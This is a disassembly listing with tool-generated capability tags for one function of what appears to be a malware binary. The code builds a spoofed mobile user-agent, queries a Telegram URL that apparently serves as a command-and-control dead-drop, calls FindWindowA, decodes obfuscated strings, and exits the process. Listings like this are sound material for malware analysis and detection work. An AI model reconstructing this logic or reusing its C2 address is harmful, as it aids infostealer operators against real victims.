Function at 0x41a84f
Capabilities:
Reference http user-agent string
Terminate process

Disassembly:
push 0x244
mov eax, 0x4462be
call fcn.00440fe8
lea ecx, [ebp - 0x1d8]
call fcn.0041a718
and dword [ebp - 4], 0
mov ecx, str.1715814849
push eax
call fcn.0041b1f6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d8]
call fcn.0040a876
push str.Mozilla_5.0__iPhone__CPU_iPhone_OS_11_2_3__like_Mac_OS_X__AppleWebKit_602.36__KHTML__like_Gecko___Chrome_53.0.2263.379_Mobile_Safari_602.0
lea ecx, [ebp - 0x70]
call fcn.0040a8b4
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
push ecx
lea ecx, [ebp - 0xe8]
call fcn.00409973
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0xe8]
call fcn.004061c0
mov byte [ebp - 4], 2
mov esi, 0x450692
mov edi, 0x45d16c
jmp 0x41a9e7
push 0x45d244
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0xe8]
call fcn.004184a9
mov byte [ebp - 4], 3
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x250]
call fcn.0041a7b4
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.0041d5ea
mov byte [ebp - 4], 5
mov ecx, edi
push eax
call fcn.0041b1f6
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x238]
call fcn.0040a876
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x250]
call fcn.0040a876
mov edx, esi
mov ecx, edi
call fcn.0040b642
test al, al
jne 0x41a9fa
push str.https:__t.me_asdfghjrrewqqqqtfg
lea ecx, [ebp - 0x1d8]
call fcn.0040a8b4
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0xe8]
call fcn.004184a9
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x38]
push eax
call fcn.0041b1f6
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1f0]
call fcn.0040a876
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1d8]
call fcn.0040a876
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x220]
call fcn.0041a7b4
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0041d5ea
mov byte [ebp - 4], 9
mov ecx, edi
push eax
call fcn.0041b1f6
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x208]
call fcn.0040a876
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x220]
call fcn.0040a876
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x38]
call fcn.0040a876
mov edx, esi
mov ecx, edi
call fcn.0040b372
test al, al
jne 0x41a8c8
jmp 0x41aa06
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x38]
call fcn.0040a876
push esi
lea ecx, [ebp - 0x38]
call fcn.0040a8b4
mov byte [ebp - 4], 0xa
jmp 0x41aa91
push str._ujs_
mov edx, edi
lea ecx, [ebp - 0x1f0]
call fcn.0040b47a
mov byte [ebp - 4], 0xb
mov edx, eax
lea ecx, [ebp - 0x208]
mov dword [esp], 0x45d22c
call fcn.0040b5d4
pop ecx
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.004184a9
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x38]
push eax
call fcn.0041b1f6
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x220]
call fcn.0040a876
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x208]
call fcn.0040a876
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1f0]
call fcn.0040a876
mov edx, esi
lea ecx, [ebp - 0x38]
call fcn.0040b372
test al, al
jne 0x41aa15
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.0041d5ea
mov byte [ebp - 4], 0xe
sub esp, 0x18
lea eax, [ebp - 0x88]
mov dword [ebp - 0x1a8], esp
mov ecx, esp
push eax
call fcn.0040a8ed
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0xa0]
push eax
mov byte [ebp - 4], 0xe
call fcn.0041d77b
mov byte [ebp - 4], 0x10
push 0
push ebx
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x1a4], esp
push ecx
call fcn.0040a1f8
mov byte [ebp - 4], 0x11
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x20]
call fcn.0040b518
add esp, 0x30
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x58]
call fcn.0041af53
mov byte [ebp - 4], 0x13
push str.World
push str.Hello
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, 0x4531f8
lea ecx, [ebp - 0x20]
push esi
call fcn.0040b3a8
push esi
lea ecx, [ebp - 0x20]
mov edi, eax
call fcn.0040b3a8
sub esp, 0x10
mov ecx, edi
mov esi, esp
mov dword [ebp - 0x1b0], esp
mov ebx, eax
push 0x4531fc
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x14
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1b4], esp
mov edi, 0x453200
mov ecx, ebx
push edi
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x58]
call fcn.004156f6
lea ecx, [ebp - 0x58]
call fcn.00415010
push 0x453204
mov ebx, 0x4531f8
lea eax, [ebp - 0x20]
push ebx
push 0x451610
push 0x451724
push 4
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x1ac], esp
push eax
call fcn.0040a568
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x199]
push eax
mov byte [ebp - 4], 0x13
call fcn.0041d24e
add esp, 0x28
test eax, eax
je 0x41adb3
push edi
push str.ostr
push str.brCH
push 3
sub esp, 0x10
lea ecx, [ebp - 0x20]
mov esi, esp
mov dword [ebp - 0x1ac], esp
push ebx
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x199]
push eax
mov byte [ebp - 4], 0x13
call fcn.0041d24e
add esp, 0x24
test eax, eax
je 0x41adb3
push ecx
lea ecx, [ebp - 0x198]
call fcn.0041b12f
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040b3a8
push ebx
lea ecx, [ebp - 0x20]
mov edi, eax
call fcn.0040b3a8
mov esi, 0x4531f8
lea ecx, [ebp - 0x20]
push esi
mov ebx, eax
call fcn.0040b3a8
push esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1a4], eax
call fcn.0040b3a8
sub esp, 0x10
mov dword [ebp - 0x1a8], eax
mov esi, esp
mov dword [ebp - 0x1ac], esp
mov ecx, edi
push str.brGk
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x18
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1b4], esp
mov edi, 0x453200
mov ecx, ebx
push edi
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x19
sub esp, 0x10
mov ecx, dword [ebp - 0x1a4]
mov esi, esp
mov dword [ebp - 0x1b0], esp
push str.ostr
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x1a
sub esp, 0x10
mov ecx, dword [ebp - 0x1a8]
mov esi, esp
mov dword [ebp - 0x1c0], esp
push str.brCH
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x1b
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1b8], esp
lea ecx, [ebp - 0x20]
push 0x453204
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x1c
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1bc], esp
lea ecx, [ebp - 0x20]
push 0x451610
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x1d
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1a0], esp
lea ecx, [ebp - 0x20]
push 0x451724
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x198]
call fcn.00409fc4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x198]
call fcn.00409a90
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x198]
call fcn.0041b026
mov ebx, 0x4531f8
push ebx
push 0x451480
push 2
sub esp, 0x10
lea eax, [ebp - 0x20]
mov ecx, esp
mov dword [ebp - 0x1a0], esp
push eax
call fcn.0040a568
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x199]
push eax
mov byte [ebp - 4], 0x13
call fcn.0041d24e
add esp, 0x20
test eax, eax
je 0x41aeea
push edi
push str.ostr
push 2
sub esp, 0x10
lea ecx, [ebp - 0x20]
mov esi, esp
mov dword [ebp - 0x1a0], esp
push ebx
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x199]
push eax
mov byte [ebp - 4], 0x13
call fcn.0041d24e
add esp, 0x20
test eax, eax
je 0x41aeea
push ecx
lea ecx, [ebp - 0x140]
call fcn.0041b1e6
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040b3a8
push ebx
lea ecx, [ebp - 0x20]
mov edi, eax
call fcn.0040b3a8
sub esp, 0x10
mov ecx, edi
mov esi, esp
mov dword [ebp - 0x1a0], esp
mov ebx, eax
push 0x453200
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x22
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1bc], esp
mov ecx, ebx
push str.ostr
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x23
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x1b8], esp
lea ecx, [ebp - 0x20]
push 0x451480
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x140]
call fcn.0041c1df
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x140]
call fcn.0041c00f
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x140]
call fcn.0041b142
mov edi, 0x451718
lea eax, [ebp - 0x20]
push edi
push 1
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x1a0], esp
push eax
call fcn.0040a568
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x199]
push eax
mov byte [ebp - 4], 0x13
call fcn.0041d24e
add esp, 0x1c
test eax, eax
je 0x41af4a
sub esp, 0x10
lea ecx, [ebp - 0x20]
mov esi, esp
mov dword [ebp - 0x1a0], esp
push edi
call fcn.0040b3a8
push eax
mov ecx, esi
call fcn.0040a568
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x13
call fcn.004187d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]